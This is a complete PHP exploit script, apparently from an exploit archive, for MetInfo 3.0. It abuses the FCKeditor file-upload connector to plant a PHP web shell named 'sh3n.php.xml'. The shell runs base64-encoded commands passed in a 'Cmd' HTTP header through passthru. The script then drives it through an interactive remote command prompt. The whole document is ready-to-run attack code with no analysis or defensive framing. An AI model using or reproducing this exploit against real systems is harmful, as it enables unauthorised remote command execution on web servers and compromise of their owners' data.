MetInfo 3.0 Shell Upload

`  
<?php  
error_reporting(0);  
set_time_limit(0);  
ini_set("default_socket_timeout", 5);  
function http_send($host, $packet)  
{  
$sock = fsockopen($host, 80);  
while (!$sock)  
{  
print "\n[-] No response from {$host}:80 Trying again...";  
$sock = fsockopen($host, 80);  
}  
fputs($sock, $packet);  
while (!feof($sock)) $resp .= fread($sock, 1024);  
fclose($sock);  
return $resp;  
}  
print "\n+------------------------------------------------------------+";  
print "\n| MetInfo 3.0 File Upload (fckeditor) sh3n |";  
print "\n+------------------------------------------------------------+\n";  
if ($argc < 2)  
{  
print "\nUsage......: php $argv[0] metinfo.pe path";  
print "\nExample....: php $argv[0] localhost /fckeditor/\n";  
die();  
}  
$host = $argv[1];  
$path = $argv[2];  
$data = "--xSsT0rm\r\n";  
$data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"sh3n.php.xml\"\r\n";  
$data .= "Content-Type: application/octet-stream\r\n\r\n";  
$data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\n";  
$data .= "----xSsT0rm--\r\n";  
$packet = "POST {$path}/fckeditor/editor/filemanager/connectors/php/upload.php HTTP/1.0\r\n";  
$packet .= "Host: {$host}\r\n";  
$packet .= "Content-Length: ".strlen($data)."\r\n";  
$packet .= "Content-Type: multipart/form-data; boundary=xSsT0rm\r\n";  
$packet .= "Connection: close\r\n\r\n";  
$packet .= $data;  
preg_match("/OnUploadCompleted\((.*),\"(.*)\",\"(.*)\",/i", http_send($host, $packet), $html);  
if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]})\n");  
else print "\n[-] Shell uploaded to {$html[2]}...have phun!\n";  
define(STDIN, fopen("php://stdin", "r"));  
while(1)  
{  
print "\nsh3n-box# ";  
$cmd = trim(fgets(STDIN));  
if ($cmd != "exit")  
{  
$packet = "GET {$path}upload/{$html[3]} HTTP/1.0\r\n";  
$packet.= "Host: {$host}\r\n";  
$packet.= "Cmd: ".base64_encode($cmd)."\r\n";  
$packet.= "Connection: close\r\n\r\n";  
$output = http_send($host, $packet);  
if (eregi("print", $output) || !eregi("_code_", $output)) die("\n[-] Exploit failed...\n");  
$shell = explode("_code_", $output);  
print "\n{$shell[1]}";  
}  
else break;  
}  
?>  
`